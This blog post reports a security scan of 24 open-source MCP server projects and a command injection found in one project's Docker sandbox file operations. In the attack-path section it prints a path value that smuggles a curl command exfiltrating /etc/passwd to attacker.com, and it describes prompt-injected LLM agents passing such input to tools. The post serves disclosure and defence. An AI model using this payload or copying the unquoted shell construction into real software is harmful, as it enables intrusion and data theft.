I Scanned 24 MCP Server Projects and Found a Real Sandbox Command Injection (CVSS 9.8)
When an LLM is compromised via prompt injection, it calls MCP tools just like normal. If those MCP servers lack input validation, it's an open door for attackers.
Over the past few months, MCP (Model Context Protocol) has become the de facto standard for AI agents to connect with external tools. Cursor, Claude Desktop, and various AI coding tools all rely on MCP servers for capabilities like file access, database operations, browser automation, and code sandbox execution.
But one question kept nagging at me: Are these MCP servers actually secure?
Not "theoretically might have vulnerabilities" anxious — I mean, if I'm an attacker who crafts a malicious prompt injection into an LLM, and the agent calls an MCP tool... would it actually execute my commands on the server?
To find out, I did something concrete:
I blind-tested 24 open-source MCP server projects for security vulnerabilities.
What I Scanned
I specifically targeted projects in the 100-1000 star range on GitHub.
Why not the big ones like Cline (65k⭐), OpenHands (82k⭐), or Aider (47k⭐)? Because those have already been validated through community scrutiny. I did scan them too — 6 top projects, 10,000+ files, zero real vulnerabilities.
Mid-tier projects are different. They have real users but insufficient security audit coverage. Developers are in rapid-iteration mode, prioritizing features over input validation and path sanitization — the "doesn't affect functionality" details.
The 24 projects covered the main MCP use cases: file operations, code sandboxes, database access, browser automation, email services, and more.
The scanner was purpose-built for AI agent code risk patterns, covering 5 high-severity vulnerability categories:
- Command injection: shell command composition, exec/eval injection
- Path traversal: unvalidated file path operations
- SSRF: user-controllable URL HTTP requests
- SQL injection: string-concatenated SQL queries
- Sandbox escape: container command injection, privilege escalation
What I Found
Scan results:
- Files scanned: 5,911
- Initial alerts: 37 CRITICAL + 44 HIGH + 13 MEDIUM
- Confirmed real vulnerabilities after manual audit: 1 project
That project was AgenticX (202⭐), an MCP-based AI agent framework providing Docker sandbox execution.
Vulnerability type: Sandbox Command Injection. CVSS score: 9.8 Critical.
What the Vulnerability Looked Like
In agenticx/sandbox/backends/docker.py, four file operation methods constructed shell commands like this:
# read_file() - line ~503
await self.execute(f"cat '{path}'", language="shell")
# delete_file() - line ~548
await self.execute(f"rm -rf '{path}'", language="shell")
# write_file() - line ~511
cmd = f"echo '{encoded}' | base64 -d > '{path}'"
# list_directory() - line ~530
await self.execute(f"ls -la '{path}' | tail -n +2", language="shell")
See the problem? The path parameter flows directly from the LLM's tool call into shell command construction with zero validation.
No shlex.quote() escaping.
No path normalization.
No .. traversal checks.
A global search: zero shlex imports, zero validate_path functions in the entire sandbox code.
Attack path:
Attacker crafts malicious prompt
→ LLM compromised, calls FileOperationTool
→ path = "' && curl http://attacker.com/exfil?d=$(cat /etc/passwd | base64) && echo '"
→ docker.py constructs: cat '' && curl http://attacker.com/exfil?d=... && echo ''
→ Arbitrary command execution inside container ✅
Yes, this executes inside a Docker container. But containers might:
- Have mounted host volumes
- Have network access to internal services
- Contain sensitive environment variables
- Run in privileged mode
This isn't "theoretical risk." This is a reproducible, CVSS 9.8 vulnerability.
The Fix-and-Verify Loop
After finding the vulnerability, I did something more meaningful than just writing a report — I actually fixed the code, then had the scanner re-verify the fix.
The fix was a unified _validate_path() method:
import shlex
import os
def _validate_path(self, path: str) -> str:
if '\x00' in path:
raise ValueError("Path contains null bytes")
normalized = os.path.normpath(path)
if '..' in normalized.split(os.sep):
raise ValueError("Path traversal not allowed")
return shlex.quote(normalized)
Then the scanner (v3.2.1) gained the ability to recognize shlex.quote() and _validate_path() as security sanitization:
| Code Location | Before Fix | After Fix |
|---|---|---|
| read_file() | HIGH | LOW ✅ Auto-downgraded |
| delete_file() | HIGH | LOW ✅ Auto-downgraded |
| kill_process() | HIGH | HIGH ✅ Unchanged (not fixed) |
That's the complete loop: scan → find → suggest fix → fix → rescan → auto-downgrade.
No manual verification needed — the scanner can tell whether you fixed it or not.
Three Interesting Takeaways
1. Top Projects Are Actually Well-Built
Cline, Continue, Aider, OpenHands, Goose, Authgear — 6 projects, 10,000+ files, 280,000+ combined stars — all passed with zero real vulnerabilities.
Mature teams have security awareness. They use subprocess with argument lists instead of shell strings, validate file paths, and put auth middleware on sensitive endpoints.
2. False Positives Are a Real Problem
The 24 projects generated 94 initial alerts (37 CRITICAL + 44 HIGH + 13 MEDIUM), but manual audit confirmed only 1 real vulnerability. False positive rate: 56%.
This means: without contextual analysis, security tools are just noise generators.
So we built L2 contextual analysis in v3.2.1 — recognizing that PyTorch's model.eval() isn't Python's eval(), that dictionary key constants aren't hardcoded secrets, that Alembic migration DDL isn't SQL injection.
After optimization, the CRITICAL+HIGH false positive rate dropped to 3.8%.
3. MCP's Security Problem Isn't in the Protocol
The MCP protocol itself has no security issues — it's just a message format. The problem is in implementation: how developers handle parameters from LLMs when writing MCP servers.
A single f-string concatenation, a missing shlex.quote(), can compromise the entire agent trust chain.
What This Means
For AI developers: Every parameter flowing from LLM tool calls into your MCP server code should be treated as untrusted input. Not "theoretically" untrusted — when prompt injection happens, it will contain malicious content.
For AI platforms: When your users call third-party MCP servers through your platform, you can't guarantee those servers' code is secure. You need an independent layer of runtime verification.
For the security industry: AI agent security isn't something traditional SAST can solve. SonarQube and Semgrep don't understand what an MCP tool call is or the semantics of agent trust chains. This domain needs purpose-built tools.
What's Next
- AgenticX vulnerability disclosed via private channel, CVE pending
- Scanning scope expanding to 50+ projects
- Security baseline capabilities will be progressively open-sourced
- CCS (Agent Runtime Verification Standard) submitted to IETF (draft-correctover-ccs-00)
Author: Guigui Wang | Correctover
Focus: Agent Systems Runtime Verification
Contact: wangguigui@correctover.com
If you're working on AI security, I'd love to connect.
Top comments (0)